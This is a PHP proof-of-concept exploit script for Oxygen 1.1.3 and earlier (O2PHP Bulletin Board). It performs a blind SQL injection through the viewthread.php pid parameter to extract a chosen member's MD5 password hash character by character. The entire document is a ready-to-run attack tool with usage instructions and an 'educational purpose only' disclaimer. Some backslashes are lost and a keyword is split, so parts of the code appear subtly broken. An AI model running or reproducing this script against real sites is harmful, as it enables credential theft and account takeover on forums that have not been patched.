#!/usr/bin/php <? if($argc<4){ print(" ------------------------------------------------------- Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board) Poc.ID........: 14061118 Type..........: SQL Injection Risk.level....: Medium Conditions....: register_globals = on Src.download..: download.o2php.com Poc.link......: acid-root.new.fr/poc/14061118.txt Credits.......: DarkFig Note..........: FOR EDUCATIONAL PURPOSE ONLY ------------------------------------------------------- Usage.........: php 14061118.txt <host> <path> <userid> -------------------------------------------------------n"); exit(1); } print "n Please be patient (max=736 hits)...n MD5: "; $host = !preg_match("/^http://(S*)/",$argv[1],$hwttp) ? $argv[1] : $hwttp[1]; $path = $argv[2]; $usid = intval($argv[3]); $tabl = "o2_members"; for($x=1; $x<=32; $x++) { for($y=48; $y<=71; $y++) { $recv = ''; $sqli = "%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AN D%20substr(password,".$x.",1)=char(".$y.")%23"; $data = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 rn"; $data .= "Host: $hostrn"; $data .= "Connection: Closernrn"; if(!$sock = @fsockopen($host, 80)) die("Connection problemn"); fputs($sock, $data); while(!feof($sock)) $recv .= fgets($sock); fclose($sock); if(preg_match("/Location: viewthread.php/", $recv)) { print strtolower(chr($y)); break; } elseif($y == 71) { print "Not vulnerablen"; exit(1); }}} print "n"; exit(0); ?>